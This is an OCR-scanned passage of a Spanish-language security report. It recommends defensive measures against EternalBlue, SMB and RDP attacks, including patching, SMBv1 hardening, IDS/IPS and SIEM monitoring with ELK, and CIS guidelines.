El uso de un SIEM dentro de un Centro de Operaciones de Seguridad (SOC) ofrece
visibilidad proactiva sobre la postura de seguridad de una organizacion, su capacidad para
detectar amenazas avanzadas, optimizar respuestas y cumplir con regulaciones lo convierte en
una herramienta indispensable para la proteccion de la infraestructura digital (LRQA Espafia,
n.d.).

Es importante recordar que las herramientas de contencién deben usarse dentro de un
plan de respuesta a incidentes bien estructurado, el cual defina claramente cuando y como activar

cada medida para reducir al maximo los dafios (SANS Institute, n.d).
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Recomendaciones

Para proteger los sistemas frente a amenazas como MS17-010 (EternalBlue) y otros

ataques de escalamiento de privilegios, se recomienda implementar una combinacion de medidas

técnicas y administrativas, una estrategia de defensa estructurada puede ser la siguiente:

Aplicacion de parches y actualizacién del sistema instalando MS17-01: Microsoft
liber6 parches de seguridad que corrigen esta vulnerabilidad en Windows 7, 8 y 10.
Actualizar Windows: Considerar la migracion a versiones mas recientes, ya que
Windows 7 ha dejado de recibir soporte.

Habilitar actualizaciones automaticas para garantizar que futuras vulnerabilidades
sean corregidas a tiempo.

Endurecimiento del protocolo SMB deshabilitando SMBV1 si no es necesario, ya que
es un protocolo obsoleto y vulnerable:

Restringir acceso a SMB con firewall y listas de control de acceso (ACLS).
Monitorear trafico SMB para detectar actividad sospechosa.

Proteccion contra ataques de fuerza bruta en RDP

Habilitar Network Level Authentication (NLA) para exigir autenticacion antes de
establecer una sesion de escritorio remoto.

Configurar restricciones de acceso mediante politicas de grupo (‘gpedit.msc’).
Monitorear intentos de acceso con herramientas SIEM para detectar patrones de
ataque.

Implementacion de mecanismos de deteccion y respuesta usando herramientas de
deteccidn de intrusos (IDS/IPS) como Suricata o Snort para identificar intentos de

explotacion.
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» Registrar actividad sospechosa en Windows Event Viewer y Sysmon.
« Configurar andlisis de logs con SIEM como Splunk o ELK Stack para correlacionar
eventos maliciosos.
« Concienciacion y capacitacion en seguridad, capacitando al personal sobre las
amenazas de ciberseguridad y como reconocer intentos de phishing y explotacion.
» Ejecutar simulaciones de ataques (Red Team) para evaluar la preparacion de la
organizacion.
» Realizar auditorias de seguridad periddicas para identificar brechas antes de que sean
explotadas.
Estas medidas ayudaran a prevenir ataques y garantizar un entorno mas seguro
El fortalecimiento de la respuesta ante ataques en tiempo real requiere que los equipos
Blue Team prioricen la capacitacion y el uso de herramientas de codigo abierto como ELK,
Zeek, Suricata, Volatility y dd, enfocadas en deteccidn, contencidn y recoleccion de evidencia, la
implementacidn de protocolos agiles para la verificacion de alertas y el aislamiento de activos
minimiza el impacto de los incidentes.
Asimismo, la integracion de un SIEM de codigo abierto, como ELK, permite
centralizar y correlacionar logs de seguridad, mejorando la visibilidad del entorno y optimizando
la capacidad de deteccion de anomalias, esta estrategia no solo reduce costos, sino que fortalece
la respuesta del Blue Team, facilitando la identificacion y mitigacién de amenazas como la
creacion de usuarios maliciosos y la escalada de privilegios en sistemas vulnerables.
Aplicar medidas de hardening de manera consistente es fundamental para reducir la

superficie de ataque y mitigar el riesgo significativamente, sin embargo, en este caso Windows 7
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es un SO obsoleto sin soporte, se recomienda migrar a versiones mas modernas y que tengan
soporte.

Los equipos Blue Team deben trabajar con el Center for Internet Security /CIS) para
fortalecer directamente sus capacidades defensivas ya que este ofrece un conjunto de estandares
y directrices reconocidas globalmente las cuales proporcionan un enfoque estructurado basado en

el consenso para la ciberseguridad.
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